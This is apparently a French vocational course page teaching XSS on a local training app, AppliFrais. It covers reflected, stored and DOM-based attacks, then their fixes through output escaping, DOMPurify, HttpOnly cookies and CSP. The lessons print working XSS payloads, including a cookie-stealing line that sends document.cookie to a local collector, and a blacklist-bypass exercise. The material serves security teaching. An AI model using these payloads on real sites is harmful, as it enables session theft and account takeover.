XSS9 livrablesQuiz corrigé
XSS : injecter du script
Jusqu'ici tu injectais dans la base. Le XSS, lui, injecte dans le navigateur d'un autre utilisateur. Un libelle de frais piege, et quand le comptable ouvre la fiche, TON code s'execute chez lui : vol de session, actions a son insu. Aujourd'hui tu fabriques un XSS sur AppliFrais, puis tu blindes ta sortie.
Par Josselyn C., prof de BTS SIO. Publié le , mis à jour le .
- Objectif
- comprendre, exploiter et corriger les failles XSS (reflected, stored, DOM) sur AppliFrais
- On manipule
- AppliFrais en local, React, l'echappement de sortie, une CSP
- Pre-requis
- injection SQL/NoSQL, AppliFrais (front React, saisie de fiches)
Cadre legal : AppliFrais LOCAL uniquement. Injecter du script chez un tiers est un delit penal (art. 323-1 et s. du Code penal).
Avant de commencer
Pourquoi cette seance
Le XSS (Cross-Site Scripting, famille OWASP A03 Injection) est l'injection cote client. L'idee : faire en sorte qu'une application affiche, sans le neutraliser, du code JavaScript fourni par l'attaquant. Ce code s'execute alors dans le navigateur de la victime, avec ses droits : il peut voler son cookie de session, son token, soumettre des actions en son nom, modifier la page. Sur AppliFrais, le scenario type : un visiteur malveillant met un script dans le libelle d'un frais ; quand le comptable ouvre la fiche pour la valider, le script s'execute chez le comptable, qui a plus de droits. Aujourd'hui tu le fabriques, puis tu fermes la porte.
Mode d'emploi — tu avances en autonomie
Ce que tu vas apprendre
| Concept | Ce que tu sauras faire |
|---|---|
| Le mecanisme | expliquer comment une donnee affichee devient du code execute |
| XSS reflected | injecter via un parametre renvoye dans la page (lien piege) |
| XSS stored | pieger une fiche, frapper le comptable qui l'ouvre (escalade) |
| XSS DOM-based | reconnaitre un XSS qui n'atteint jamais le serveur |
| Impact reel | vol de cookie/token, actions a l'insu de la victime |
| Defense sortie | echappement, React auto-escape, DOMPurify |
| Defense profondeur | cookie HttpOnly, CSP via helmet, pourquoi la blacklist echoue |
Vocabulaire de depart
| Mot | En une phrase |
|---|---|
| Payload | la charge injectee (ici un bout de HTML/JS qui prouve l'execution) |
| Echapper | transformer < > en entites pour AFFICHER au lieu d'EXECUTER |
| Sortie | l'endroit ou la donnee est reaffichee a l'ecran (vs l'entree = la saisie) |
| Token / session | le secret qui prouve « je suis connecte » ; voler = se faire passer pour la victime |
0. Comment une donnee devient du code
Une page web est du HTML. Le navigateur lit ce HTML et execute toute balise <script> qu'il rencontre, ainsi que les gestionnaires d'evenements (onerror, onload...). Le XSS exploite ca : si une application insere une donnee utilisateur dans le HTML sans la neutraliser, et que cette donnee contient une balise, le navigateur l'execute comme du vrai code.
Le coeur du probleme : innerHTML interprete le HTML
// VULNERABLE -- insertion brute dans le HTML
element.innerHTML = "Bonjour " + nomUtilisateur;
Le payload le plus simple (pour tester) — page de labo
Cree un fichier page-test.html sur ta machine et ouvre-le dans le navigateur :
<div id="zone"></div>
<script>
// on simule une donnee venue d'un utilisateur
const saisie = "<img src=x onerror=alert('XSS')>";
document.getElementById('zone').innerHTML = "Bonjour " + saisie;
</script>
Sortie attendue a l'ecran :
une fenetre popup du navigateur s'affiche :
+-------------------------------+
| Cette page indique |
| |
| XSS |
| [ OK ] |
+-------------------------------+
preuve : TON code (alert) tourne dans la page. La frontiere
donnee --> code a ete franchie, comme pour l'injection SQL,
mais cette fois DANS LE NAVIGATEUR.
Flag A1
Checkpoint
Sur ta page-test.html, affiche une donnee via innerHTML et declenche un alert avec <img src=x onerror=alert(1)>.
Rends : une capture de l'alerte + une phrase « pourquoi innerHTML est dangereux ici, alors que textContent ne le serait pas ».
1. XSS reflechi (reflected)
Le XSS reflechi : le code injecte part dans une requete (souvent un parametre d'URL) et revient immediatement dans la page de reponse, sans etre stocke. L'attaquant fabrique un lien piege et le fait cliquer a la victime (phishing).
La page vulnerable
// page de recherche VULNERABLE
// URL appelee : /recherche?q=chaussures
resultat.innerHTML = "Resultats pour : " + req.query.q;
Le lien piege (preuve inoffensive : alert)
lien envoye a la victime (preuve, ne vole rien) :
/recherche?q=<img src=x onerror=alert('reflected')>
--> la victime clique --> la page reflete le payload
--> le navigateur execute --> popup "reflected"
La version qui « vole le cookie » — A GARDER 100 % LOCALE
variante demonstrative (collecteur sur TA machine, localhost) :
/recherche?q=<img src=x onerror="new Image().src=
'http://localhost:9000/collecte?c='+document.cookie">
--> le payload lit document.cookie et l'envoie a un petit
serveur de DEMO que TU as lance sur localhost:9000
--> tu vois le cookie arriver dans les logs de TON serveur
Construction incrémentale — le collecteur de démonstration local
Pour voir le payload exfiltrer des données vers ton propre serveur, on construit le collecteur en 3 étapes atomiques. Rien ne quitte ta machine.
Étape 1 — Lancer le collecteur Python
python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
→ le collecteur est prêt ; garde ce terminal ouvert
Étape 2 — Le payload qui envoie vers ce collecteur
<img src=x onerror="new Image().src=
'http://localhost:9000/c?v='+encodeURIComponent(document.cookie)">
Étape 3 — Ce que tu lis dans le terminal du collecteur
127.0.0.1 - - [03/Jul/2026 09:14:22] "GET /c?v=token%3DeyJhbGci...
^^^^^^^^^^^^^^^^^^^^^^^^
le token JWT du comptable s'affiche ici
décodé : token=eyJhbGci...
→ en local, tu visualises l'exfiltration
→ en prod réelle, ce serait le JWT d'un vrai compte comptable
Flag B1
Production (reflected)
Sur ton labo (une page qui reflete un parametre — ou DVWA niveau low), declenche un XSS reflechi via l'URL. Un alert suffit, ne vole rien de reel.
Rends : l'URL piegee + la capture de l'execution + une phrase sur le role du phishing ici (pourquoi l'attaque a besoin d'un clic).
2. XSS stocke (stored) — le plus grave
Le XSS stocke : le code injecte est enregistre (en base) et reaffiche a chaque consultation, a tous les utilisateurs qui voient la donnee. Pas besoin de phishing : la victime n'a qu'a ouvrir une page normale, dans le cadre de son travail.
Le scenario AppliFrais
1. un VISITEUR saisit un frais avec un libelle piege :
libelle = "Repas <img src=x onerror=alert(document.cookie)>"
2. le frais est enregistre en base (sa propre fiche)
3. le COMPTABLE ouvre la fiche pour la valider
4. l'appli affiche le libelle sans l'echapper
--> le script s'execute CHEZ LE COMPTABLE, avec SA
session (role comptable = plus de droits)
Le flux, en image
Le payload voyage du visiteur vers la base, puis s'execute dans le navigateur du comptable.
Reflected vs stored vs DOM-based
| Critere | Reflected | Stored | DOM-based |
|---|---|---|---|
| Ou vit le payload | dans l'URL / la requete | en base de donnees | dans le DOM, cote client |
| Passe par le serveur | oui (reflechi) | oui (stocke) | non (pas forcement) |
| Declencheur | victime clique un lien piege | victime ouvre une page normale | URL avec fragment piege (#) |
| Persistance | ephemere (1 requete) | persistant, rejoue a chaque vue | variable |
| Gravite typique | moyenne (besoin d'un clic) | haute (zero interaction, escalade) | variable |
Flag B2
Production (stored)
Sur AppliFrais local, saisis un frais dont le libelle contient un payload XSS, puis ouvre la fiche depuis un autre compte (le comptable).
Rends : le payload saisi + la capture de l'execution cote comptable + l'analyse de l'escalade de privileges.
Tu viens de frapper un compte plus puissant que le tien.
3. La defense n°1 : echapper la sortie
La regle d'or du XSS : l'injection se corrige a la SORTIE, pas (seulement) a l'entree. Au moment d'afficher une donnee, on l'echappe : on transforme les caracteres speciaux HTML en entites inoffensives.
| Caractere | Echappe en | Effet |
|---|---|---|
< | < | affiche comme texte, pas interprete comme balise |
> | > | idem (ferme la balise) |
& | & | protege les entites elles-memes |
" | " | protege la valeur d'un attribut |
' | ' | protege un attribut en quotes simples |
Les 4 contextes de sortie — la règle du contexte (détail pro)
Erreur classique : « j'échappe le HTML, je suis protégé ». Faux si la donnée atterrit dans un contexte non-HTML. Les caractères dangereux changent selon l'endroit où la donnée est insérée.
| Contexte de sortie | Exemple vulnérable | Payload d'attaque | Parade correcte |
|---|---|---|---|
| Corps HTML | <p>{variable}</p> | <img onerror=alert(1)> | Échapper < > & " ' en entités. React le fait avec {variable}. |
| Attribut HTML non guillemété | <input value={variable}> | " onmouseover=alert(1) x=" | Toujours mettre les attributs entre guillemets ET échapper " → ". En JSX, ce n'est jamais un problème car React gère. |
| Contexte JavaScript | var x = "{variable}"; (template SSR) | "; alert(1); // | JSON.stringify() ou encodage \uXXXX — HTML escaping seul est insuffisant ici : < → < ne ferme pas la chaîne JS. |
| Contexte URL | <a href="/r?next={variable}"> | javascript:alert(1) | encodeURIComponent() + valider le schéma : accepter uniquement http:// ou https://, rejeter javascript: et data:. |
| Contexte CSS | style="color:{variable}" | expression(alert(1)) (IE legacy) ou url('javascript:...') | Éviter les styles dynamiques libres ; si nécessaire, valider par regex stricte (ex. /^#[0-9a-f]{6}$/i pour une couleur). |
Sortie attendue, une fois la sortie echappee
le comptable ouvre la fiche piegee. A l'ecran, il lit :
Repas <img src=x onerror=alert(document.cookie)>
le payload s'AFFICHE comme du texte. Aucune popup.
Aucune image. Le script ne s'execute plus.
React echappe par defaut (et le piege dangerouslySetInnerHTML)
// SUR -- React echappe automatiquement les accolades
<span>{fiche.libelle}</span> // un <script> saisi s'affiche en texte
// DANGEREUX -- contourne la protection de React
<span dangerouslySetInnerHTML={{ __html: fiche.libelle }} />
Et si je DOIS afficher du HTML riche ? DOMPurify
import DOMPurify from 'dompurify';
// on assainit AVANT d'injecter le HTML
<span dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(fiche.libelle)
}} />
entree : "<b>Repas</b> <img src=x onerror=alert(1)>"
DOMPurify.sanitize -> "<b>Repas</b> "
--> le gras est garde, le <img onerror> est supprime
Exemple travaillé — la fiche de frais AppliFrais, de la faille au correctif
On suit le champ libelle depuis la saisie visiteur jusqu'à l'affichage comptable, en montrant le code exact à chaque étape.
Situation initiale — le composant React vulnérable
// components/FicheFrais.jsx — VERSION VULNÉRABLE
function FicheFrais({ fiche }) {
return (
<div className="fiche">
<p>Montant : {fiche.montant} €</p>
<p dangerouslySetInnerHTML={{ __html: fiche.libelle }} />
</div>
);
}
comptable ouvre la fiche → HTML rendu dans son navigateur :
<p><img src="x" onerror="alert(document.cookie)"></p>
→ image rate → onerror → popup avec le cookie du comptable
Correctif 1 — Texte pur avec React (le plus sûr, 99 % des cas)
// components/FicheFrais.jsx — CORRIGÉ (texte pur)
function FicheFrais({ fiche }) {
return (
<div className="fiche">
<p>Montant : {fiche.montant} €</p>
<p>{fiche.libelle}</p>
</div>
);
}
comptable ouvre la fiche → affiche à l'écran :
Repas <img src=x onerror=alert(document.cookie)>
→ texte pur, aucune balise créée, aucune exécution
Correctif 2 — HTML riche via DOMPurify (si la mise en forme est vraiment nécessaire)
// components/FicheFrais.jsx — CORRIGÉ (HTML riche + DOMPurify)
import DOMPurify from 'dompurify'; // npm install dompurify
function FicheFrais({ fiche }) {
const propre = DOMPurify.sanitize(fiche.libelle, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'br'],
ALLOWED_ATTR: [], // aucun attribut → aucun onerror, aucun href
});
return (
<div className="fiche">
<p>Montant : {fiche.montant} €</p>
<p dangerouslySetInnerHTML={{ __html: propre }} />
</div>
);
}
libellé saisi : "Repas <b>client</b> <img src=x onerror=alert(1)>"
DOMPurify renvoie : "Repas <b>client</b> "
→ <b> conservé (liste blanche), <img> supprimé
→ affichage : "Repas client" en gras, aucun script
Flag B3
Production (corriger)
Corrige l'affichage vulnerable : si AppliFrais utilise dangerouslySetInnerHTML / innerHTML sur un libelle, remplace par l'affichage echappe ({libelle}) ou assainis avec DOMPurify. Re-tente le payload du Flag B2.
Rends : le code corrige + la preuve (capture) que le script s'affiche comme texte au lieu de s'executer.
Flag C1
Debug d'un faux correctif
Un developpeur « corrige » en retirant la chaine <script> de l'entree :
// faux correctif (blacklist d'entree)
libelle = libelle.replace(/<script>/gi, '');
Trouve un payload qui passe quand meme (indice : il n'y a pas le mot « script » dedans) et fais-le s'executer. Puis explique en une phrase pourquoi ce correctif est faux.
Rends : le payload qui contourne + la capture de l'execution + ta phrase.
4. Defense en profondeur
L'echappement de sortie tue le XSS a la racine. On empile ensuite des couches qui limitent les degats si une faille passe malgre tout.
| Couche | Mesure | Ce qu'elle apporte |
|---|---|---|
| Sortie | echappement / React / DOMPurify | tue le XSS a la racine |
| Cookie | HttpOnly sur le cookie de session | le JS ne peut PLUS lire le cookie -> vol bloque |
| En-tete | Content-Security-Policy (CSP) | le navigateur refuse les scripts inline injectes |
| Entree | validation (longueur, type) | reduit la surface, complement utile (jamais seul) |
Couche cookie : HttpOnly (AppliFrais / Express)
// au login, on pose le JWT dans un cookie HttpOnly
res.cookie('token', jwt, {
httpOnly: true, // invisible pour document.cookie
sameSite: 'strict',
secure: true // HTTPS uniquement (en prod)
});
console du navigateur, apres XSS, cookie en HttpOnly :
> document.cookie
'' (vide cote token)
--> le payload "...+document.cookie" ne recupere RIEN
localStorage vs cookie HttpOnly — tableau de décision
C'est un choix d'architecture que tout développeur SLAM doit savoir argumenter. Voici les critères pro :
| Critère | localStorage / sessionStorage | Cookie HttpOnly (+ Secure + SameSite) |
|---|---|---|
| Lisible par JavaScript | Oui — localStorage.getItem('token') | Non — invisible pour document.cookie si HttpOnly |
| Volable par XSS | Oui — un seul alert(localStorage.getItem('token')) | Non (HttpOnly bloque l'accès JS) |
| Vulnérable au CSRF | Non (le navigateur ne l'envoie pas automatiquement) | Oui si pas de SameSite=Strict/Lax — atténué par SameSite |
| Expiration gérée côté | Client (l'appli lit et compare l'exp du JWT) | Serveur + navigateur (Max-Age ou Expires) |
| Taille max | ~5 Mo par origine | ~4 Ko par cookie (tous cookies confondus : ~80 Ko par domaine) |
| Accessible en SPA (React) | Oui, facilement | Oui — le navigateur l'envoie automatiquement dans les requêtes fetch/axios si credentials: 'include' |
| Risque principal | Vol par XSS | CSRF (atténué), transmission non chiffrée si pas de HTTPS |
| Recommandation OWASP | À éviter pour les tokens de session | Préféré — OWASP recommande cookie HttpOnly + SameSite |
Couche en-tête : CSP via helmet (Express)
La Content-Security-Policy (CSP) est un en-tête HTTP qui dit au navigateur quels scripts il a le droit d'exécuter. Valeur fondamentale : même si un XSS franchit l'échappement, le navigateur refuse d'exécuter les scripts non autorisés.
Étape 1 — helmet() seul, en-têtes par défaut
const helmet = require('helmet'); // npm install helmet
app.use(helmet()); // active TOUS les en-têtes de sécurité par défaut
| En-tête activé par helmet 7.x | Valeur par défaut | Ce qu'il bloque / apporte |
|---|---|---|
Content-Security-Policy | default-src 'self'; script-src 'self'; ... | scripts inline injectés, ressources externes non listées |
X-Content-Type-Options | nosniff | MIME sniffing → un fichier image qui contient du JS ne s'exécuterait pas |
X-Frame-Options | SAMEORIGIN | clickjacking (page chargée dans une <iframe> tierce) |
Strict-Transport-Security | max-age=15552000; includeSubDomains (~180 jours) | force HTTPS même si l'utilisateur tape http:// |
X-XSS-Protection | 0 (désactivé volontairement) | le filtre XSS natif des anciens navigateurs était contournable et créait de nouveaux vecteurs — le désactiver est plus sûr |
Étape 2 — CSP fine avec nonce (JS inline légitime sans 'unsafe-inline')
const crypto = require('crypto');
// middleware : un nonce unique par requête (128 bits = 16 octets minimum, recommandation W3C)
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
// → ex. "7cZm9XkPq3wRfYaB..." (24 chars en base64)
next();
});
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"], // peut être nécessaire selon ton bundler
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
reportUri: ["/csp-violations"], // le navigateur rapporte les violations ici
}
}));
// endpoint de collecte des violations CSP (journalisation défensive)
app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
console.warn('[CSP VIOLATION]', JSON.stringify(req.body, null, 2));
res.status(204).end();
});
console du navigateur — payload bloqué par la CSP :
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self' 'nonce-XyzA...'".
Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce
('nonce-...') is required to enable inline execution.
→ même injecté, le script ne tourne pas.
→ le serveur reçoit un rapport JSON dans /csp-violations.
Flag B4
Production (durcir)
Ajoute 2 couches a AppliFrais : le flag HttpOnly sur le cookie/token de session ET un en-tete CSP basique (via helmet).
Rends : le code + une explication : pourquoi, meme si un XSS passait, le vol de session serait bloque.
Flag D1
Investigation (CSP)
Va lire la doc OWASP / MDN sur la Content-Security-Policy. Reponds (sources a l'appui) :
- Que fait la directive
'unsafe-inline'et pourquoi est-elle dangereuse vis-a-vis du XSS ?\ - A quoi sert un nonce CSP ?
Rends : tes 2 reponses + les liens consultes.
5. XSS DOM-based
Le XSS DOM-based est le cas ou le payload n'atteint jamais le serveur : tout se joue cote client, dans du JavaScript qui lit une source controlee par l'utilisateur (souvent le fragment d'URL, apres le #) et l'ecrit dans la page.
// VULNERABLE -- DOM-based
// le code lit le fragment d'URL et l'injecte
const cible = location.hash.substring(1); // tout ce qui suit #
document.getElementById('zone').innerHTML = cible;
URL piegee (le payload est apres le #) :
http://localhost:5173/page#<img src=x onerror=alert('dom')>
--> le JS cote client lit le hash --> innerHTML --> execution
--> le serveur n'a JAMAIS recu le payload
Sources dangereuses et sinks dangereux — panorama DOM XSS
En DOM-based XSS, une source est un endroit où l'attaquant peut injecter des données ; un sink est un endroit du DOM qui exécute le code si on y passe la donnée brute. La vulnérabilité apparaît quand une source est connectée à un sink sans assainissement.
| Sources (données contrôlées par l'attaquant) | Exemples |
|---|---|
Fragment URL (après #) | location.hash |
| Paramètres URL | location.search, new URLSearchParams(location.search).get('q') |
| Référent HTTP | document.referrer |
| Données de formulaire | document.forms[0].elements['name'].value |
| Stockage navigateur | localStorage.getItem(), sessionStorage.getItem() (si une autre faille a permis d'y écrire) |
| postMessage | window.addEventListener('message', e => { ... e.data ... }) |
| Sinks dangereux (exécutent le HTML/JS injecté) | Alternative sûre |
|---|---|
element.innerHTML = ... | element.textContent = ... (texte pur, jamais interprété) |
document.write(...) | Manipulation DOM explicite (createElement + appendChild) |
element.outerHTML = ... | Reconstruire le DOM proprement |
element.setAttribute('href', ...) si la valeur commence par javascript: | Valider le schéma URL avant d'assigner |
eval(...), setTimeout("code"), new Function("code") | Ne jamais passer une chaîne utilisateur à ces fonctions |
element.insertAdjacentHTML('...', ...) | element.insertAdjacentText() ou DOMPurify avant |
Activité — Auditer le code source d'AppliFrais pour les sinks XSS
Avant de corriger, il faut trouver tous les endroits dangereux dans le code. Voici la méthode d'audit manuelle à appliquer dès maintenant sur le projet AppliFrais.
Étape 1 — Chercher les sinks innerHTML dans le front React
# depuis la racine du projet AppliFrais, dossier front
grep -rn --include="*.jsx" --include="*.js" \
"innerHTML\|dangerouslySetInnerHTML\|outerHTML\|document\.write" \
src/
src/components/FicheFrais.jsx:42: <p dangerouslySetInnerHTML={{ __html: fiche.libelle }} />
src/utils/rendu.js:18: element.innerHTML = contenu;
→ 2 sinks à inspecter → reviens sur chaque occurrence et vérifie si la donnée
vient d'un utilisateur ou d'une source interne contrôlée
Étape 2 — Chercher les sources DOM contrôlées par l'utilisateur
grep -rn --include="*.jsx" --include="*.js" \
"location\.hash\|location\.search\|document\.referrer\|localStorage\.getItem" \
src/
src/pages/RetourAuth.jsx:11: const next = new URLSearchParams(location.search).get('next');
→ inspecter : la valeur de "next" est-elle utilisée dans un href ?
si oui, valider le schéma (rejeter "javascript:" et "data:")
Étape 3 — Automatiser avec ESLint (contrôle à chaque commit)
# installer le plugin
npm install --save-dev eslint-plugin-security
# .eslintrc.js — ajouter à la config existante
module.exports = {
plugins: ['security'],
extends: ['plugin:security/recommended'],
};
$ eslint src/utils/rendu.js
27:3 warning eval with argument of type Identifier security/detect-eval-with-expression
→ ESLint te signale le sink avant même que le code parte en prod
Flag E1
Extension (DOM-based)
Sur ton labo, fabrique un XSS DOM-based via location.hash (un alert suffit). Puis corrige-le en remplacant innerHTML par textContent.
Rends : l'URL piegee + la capture + une phrase : en quoi le DOM-based differe du reflected (qui voit le payload, qui ne le voit pas).
Nuance métier — RGPD, ANSSI et impact à l'échelle
Le XSS du point de vue légal et réglementaire
Un XSS stocké sur AppliFrais n'est pas juste un bug technique : c'est potentiellement une violation de données à caractère personnel au sens du RGPD, avec des conséquences légales concrètes.
| Angle | Ce que ça implique concrètement | Article / référence |
|---|---|---|
| Obligation de sécurité technique | L'organisation qui traite des DCP (ici : données de frais, identités des visiteurs médicaux) doit mettre en œuvre des mesures « appropriées » — l'échappement de sortie et le HttpOnly en font partie. | RGPD art. 32 |
| Notification de violation | Si un XSS a permis de voler des tokens ou d'exfiltrer des données : notification à la CNIL dans les 72 heures, et aux personnes concernées si le risque est élevé. | RGPD art. 33 et 34 |
| Amende administrative | Jusqu'à 10 M€ ou 2 % du CA mondial (manquement art. 32) ; jusqu'à 20 M€ ou 4 % du CA mondial (violation plus grave). La CNIL a prononcé des amendes pour défaut de mesures de sécurité. | RGPD art. 83 §4 et §5 |
| Responsabilité pénale de l'attaquant | Injecter un script chez un tiers = accès frauduleux (art. 323-1 CP) : 3 ans / 100 000 €. Si le vol de session a conduit à des transactions frauduleuses, d'autres infractions s'ajoutent. | C. pénal art. 323-1 à 323-7 |
| Référentiel ANSSI | Le Guide de sécurité des applications web (ANSSI DCSSI/NP/083) recommande explicitement l'échappement de sortie contextuel, les en-têtes CSP, et HttpOnly. Une application sans ces mesures échoue un audit ANSSI. | ANSSI — Guide sécurité applications web |
Impact à l'échelle — ce que le XSS peut faire dans un vrai SI
Sur AppliFrais labo, le XSS déclenche un alert(). Dans un SI réel :
| Scénario réel | Ce qui se passe | Impact métier |
|---|---|---|
| Vol du JWT comptable | Le script lit localStorage.getItem('token') ou un cookie non-HttpOnly et l'exfiltre vers un serveur attaquant | L'attaquant valide et modifie des fiches de frais à l'insu du comptable — fraude financière |
| Keylogger injecté | Le script ajoute un listener keydown sur le formulaire de saisie | Capture identifiants et mots de passe de tous les utilisateurs du SI |
| Redirection silencieuse | Le script remplace le formulaire de login par une copie piégée (innerHTML de la page) | Phishing interne indétectable — les victimes voient une vraie URL d'entreprise |
| Worm XSS | Le script stocké se reproduit en créant d'autres entrées pièges dans la base pour d'autres victimes | Propagation automatique dans toute l'application (ex. MySpace Samy Worm, 2005 : 1 M de comptes infectés en 20h) |
DOMPurify en production — configuration avancée
import DOMPurify from 'dompurify'; // npm install dompurify (~50 ko minzipped)
// Configuration restrictive (HTML riche = texte + mise en forme, zéro JS)
const config = {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'ul', 'ol', 'li', 'p', 'br'],
ALLOWED_ATTR: [], // aucun attribut autorisé (pas de href, pas d'id)
};
function afficherLibelle(libelle) {
return DOMPurify.sanitize(libelle, config);
}
// Usage :
// <span dangerouslySetInnerHTML={{ __html: afficherLibelle(fiche.libelle) }} />
6. Mini-projet : rapport de vulnerabilite
La mission
Redige le rapport (format E7) du XSS stocke trouve sur AppliFrais, en 5 sections :
- Description : XSS stocke (A03), ou (libelle de frais), type ;
- Preuve : le payload + le scenario (visiteur pose, comptable ouvre) + capture ;
- Impact : escalade de privileges, vol de session, actions a l'insu du comptable ;
- Correction : echappement de sortie (React / DOMPurify) + HttpOnly + CSP ;
- Verification : le payload s'affiche en texte, ne s'execute plus (capture avant/apres).
Flag B5
Mini-projet (livrable)
Redige le rapport complet du XSS d'AppliFrais (5 sections) et mets a jour ta carte de menace (ligne A03 XSS : expose -> corrige).
Rends : ton rapport + la ligne mise a jour de la carte de menace.
Pour finir
L'essentiel
| Notion | A retenir |
|---|---|
| cause | une donnee affichee sans echappement devient du code dans le navigateur |
| types | reflected (lien piege), stored (en base, le plus grave), DOM (cote client) |
| impact | vol de session/token, escalade de privileges, actions a l'insu |
| parade n°1 | echapper la SORTIE (React le fait) ; DOMPurify si HTML riche |
| profondeur | HttpOnly + CSP en renfort ; la blacklist d'entree est contournable |
Verifie tes acquis
Exercice Réussi À revoir
- Pourquoi une donnee affichee peut-elle devenir du code execute ? (role de innerHTML)
- Difference entre XSS reflected, stored et DOM-based ?
- Pourquoi le stored XSS est-il le plus dangereux (escalade de privileges) ?
- Pourquoi corrige-t-on le XSS a la sortie plutot qu'a l'entree ?
- Comment React protege-t-il par defaut, et quel est le piege a eviter ?
- A quoi servent HttpOnly et la CSP, et pourquoi un token en localStorage pose probleme ?
Voir le corrigéMasquer le corrigé de l'exercice
1. Pourquoi une donnée affichée peut-elle devenir du code exécuté ? — Parce que le navigateur interprète innerHTML comme du HTML : toute balise insérée devient un vrai élément du DOM. Si la donnée contient <img onerror=alert(1)>, le navigateur crée l'image, échoue à la charger, et déclenche onerror. Avec textContent, la même donnée est traitée comme du texte pur et jamais interprétée.
2. Reflected / Stored / DOM-based ? — Reflected : injecté dans une requête, renvoyé immédiatement, pas persistant (besoin d'un clic). Stored : enregistré en base, rejoué à chaque vue pour tous les utilisateurs (zéro clic). DOM-based : se joue entièrement côté client (location.hash→innerHTML), le serveur ne voit jamais le payload.
3. Pourquoi le stored XSS est-il le plus grave ? — Parce que la victime n'a pas besoin de cliquer un lien piégé (User Interaction: None au CVSS), et que le script s'exécute avec les droits de la victime — souvent plus élevés que ceux de l'attaquant (escalade de privilèges). Un visiteur peut ainsi piéger un comptable.
4. Pourquoi corriger à la SORTIE plutôt qu'à l'entrée ? — Parce que les listes noires d'entrée sont toujours contournables (il y a des dizaines de vecteurs sans balise <script>). L'échappement à la sortie, lui, fonctionne par liste blanche de représentation (transformer < en entité), sans dépendre de l'exhaustivité des vecteurs connus.
5. Comment React protège-t-il par défaut, et quel est le piège ? — En affichant {variable} dans JSX, React échappe automatiquement les caractères spéciaux HTML. Le piège : utiliser dangerouslySetInnerHTML={{ __html: variable }} ou manipuler le DOM directement avec innerHTML — ce sont les deux seules façons de contourner la protection de React.
6. HttpOnly, CSP, localStorage ? — HttpOnly rend le cookie invisible à JavaScript (document.cookie ne le voit plus) → un XSS ne peut plus voler la session par ce biais. La CSP dit au navigateur quels scripts sont autorisés → même injecté, un script inline est refusé si non listé. Un token en localStorage est lisible par n'importe quel JS de la même origine → un XSS le vole en une ligne.
Tu avais trouvé ?
Glossaire
| Mot | Definition |
|---|---|
| XSS | injection de script execute dans le navigateur d'une victime |
| Reflected | XSS renvoye immediatement par une requete (lien piege) |
| Stored | XSS enregistre en base, rejoue a chaque consultation |
| DOM-based | XSS qui se joue cote client, sans passer par le serveur |
| Echappement | transformer < > en entites pour afficher sans executer |
| Escalade de privileges | un attaquant faible droits fait executer son code chez une victime a forts droits |
| DOMPurify | bibliotheque qui assainit du HTML riche (retire script/onerror) |
| HttpOnly | cookie inaccessible au JavaScript (anti-vol de session) |
| CSP | en-tete qui restreint les scripts autorises par le navigateur |